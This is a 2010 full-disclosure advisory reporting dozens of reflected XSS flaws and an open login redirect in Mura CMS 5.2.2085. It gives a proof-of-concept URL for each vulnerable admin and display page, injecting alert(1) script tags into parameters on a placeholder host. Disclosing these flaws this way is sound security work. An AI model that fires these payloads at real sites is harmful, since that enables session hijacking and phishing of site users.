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[Full-disclosure] ProCheckUp Research: PR10-09 Multiple XSS and Cross Domain redirect within Mura CMS

ProCheckUp Research

PR10-09 Multiple XSS and Cross Domain redirect within Mura CMS

Advisory publicly released: Monday, 13 December 2010
Vulnerability found: Monday, 19 April 2010
Vendor informed: Tuesday, 20 April 2010
Severity level: Medium

Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com<http://www.procheckup.com>)

Description
Mura is a Content Management System (CMS) that is based on the ColdFusion 
programming language.Procheckup has discovered that Various Mura programs are 
vulnerable to generic reflective Cross Site Scripting (XSS) attacks.

Note: Mura was tested on a fully patched Windows 2003 R2 SP2 and IIS 6, 
ColdFusion 8 and SQL 2005

were used as the application server and the backend database.



Mura Versions tested
5.2.2085

Proof of concept
The following demonstrate the XSS flaws:-

1) Unathenticated vanilla XSS. IE7 (Internet Explorer) browser used.

Login page XSS
http://target-domain.foo/admin/index.cfm?email=";><script>alert(1)</script>&fuseaction=cLogin.main&returnURL=1&status=sendlogin



Error page XSS
http://target-domain.foo/default/error/index.cfm?error.diagnostics=";><script>alert(1)</script>



Other XSS
http://target-domain.foo/admin/date_picker/dsp_dp_showmonth.cfm?+5=posn+1&dateLong=";><script>alert(1)</script>

http://target-domain.foo/admin/date_picker/index.cfm?field=";><script>alert(1)</script>

http://target-domain.foo/Admin/index.cfm?fuseaction=cLogin.main&returnURL=&status=sendlogin&email=<script>alert(1)</script>

http://target-domain.foo/admin/view/layouts/compact.cfm?fusebox.ajax=";><script>alert(1)</script>&

http://target-domain.foo/admin/view/layouts/template.cfm?fusebox.ajax=";><script>alert(1)</script>&myfusebox.originalcircuit=cLogin

http://target-domain.foo/admin/view/layouts/template.cfm?moduleTitle=</title><body><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editCreative.cfm?attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editIPWhiteList.cfm?attributes.siteid=";><script>alert(1)</script>&

http://target-domain.foo/admin/view/vAdvertising/dsp_editPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdZones.cfm?attributes.keywords=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdvertisers.cfm?attributes.keywords=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCampaigns.cfm?attributes.keywords=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCreatives.cfm?attributes.keywords=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByCampaign.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vArchitecture/form/dsp_tab_related_content.cfm?attributes.siteid=";><script>alert(1)</script>&session.rb=default

http://target-domain.foo/admin/view/vDashboard/dsp_sessionSearch.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topContent.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topRated.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topReferers.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topSearches.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_form.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_list.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vExtend/dsp_attribute_form.cfm?attributes.formName=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hidden/";><script>alert(1)
</script>&attributes.action=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hi
dden

http://target-domain.foo/admin/view/vExtend/dsp_editAttributes.cfm?attributes.extendSetID=";><script>alert(1)</script>&attributes.subTypeID=extendSetssattributes.siteid=attributesArraya

http://target-domain.foo/admin/view/vExtend/dsp_listSets.cfm?attributes.siteid=";><script>alert(1)</script>&attributes.subTypeID=extendSetss

http://target-domain.foo/admin/view/vExtend/dsp_listSubTypes.cfm?attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/ajax/dsp_loadSite_old.cfm?attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/dsp_list.cfm?attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_form.cfm?attributes.mlid=1&attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_list_members.cfm?attributes.siteid=";><script>alert(1)
</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_secondary_menu.cfm?attributes.siteid=";><script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_userprofile.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vSettings/dsp_plugin_form.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/calendar/dsp_dp_showmonth.cfm?dateLong=";><script>alert(1)</script>

The following are included within Mura, though are issues within the popular 
fusebox 5.5 library

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/noxml/view/layout/lay_template.cfm?body=";><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/display/dsp_hello.cfm?runTime=";><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/layout/lay_template.cfm?body=";><script>alert(1)</script>

http://target-domain.foo/default/includes/email/inc_email.cfm?bodyHtml=<script>alert(1)</script>&forward=1&rsEmail.site=pcutest@xxxxxxxxxxxxxx&

http://target-domain.foo/default/includes/email/inc_email.cfm?rsEmail.site=</title><body><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/header.cfm?request.siteid=";><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/ie_conditional_includes.cfm?event.getSite.getAssetPath=1&themePath=";><script>alert(1)</script>

http://target-domain.foo/default/utilities/sendtofriend.cfm?request.siteID=Default&url.link=";><script>alert(1)</script>http://www.procheckup.com



Address field is vulnerable to XSS insert ><script>alert(1)</script> into 
address field.
http://target-domain.foo/requirements/mura/geoCoding/index.cfm?

http://target-domain.foo/wysiwyg/editor/plugins/selectlink/fck_selectlink.cfm?fuseaction=cArch.search&keywords=";><script>alert(1)</script>&session.siteid=default



2) Offsite redirection after login

http://target-domain.foo/admin/index.cfm?fuseaction=cLogin.main&display=login&status=failed&rememberMe=1&contentid=&LinkServID=&returnURL=http://www.procheckup.com
How to fix
An attacker may be able to cause execution of malicious scripting code in the 
browser of a user who clicks on a link to a exposed Mura site. Such code would 
run within the security context of the target domain. This type of attack can 
result in non-persistent defacement of the target site, or the redirection of 
confidential information (i.e.: session IDs) to unauthorised third parties.



Fix:
Apply the latest patches
References

Legal
Copyright 2010 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet 
community for the purpose of alerting them to problems, if and only if, the 
Bulletin is not edited or changed in any way, is attributed to Procheckup, and 
provided such reproduction and/or distribution is performed for non-commercial 
purposes.

Any other use of this information is prohibited. Procheckup is not liable for 
any misuse of this information by any third party.

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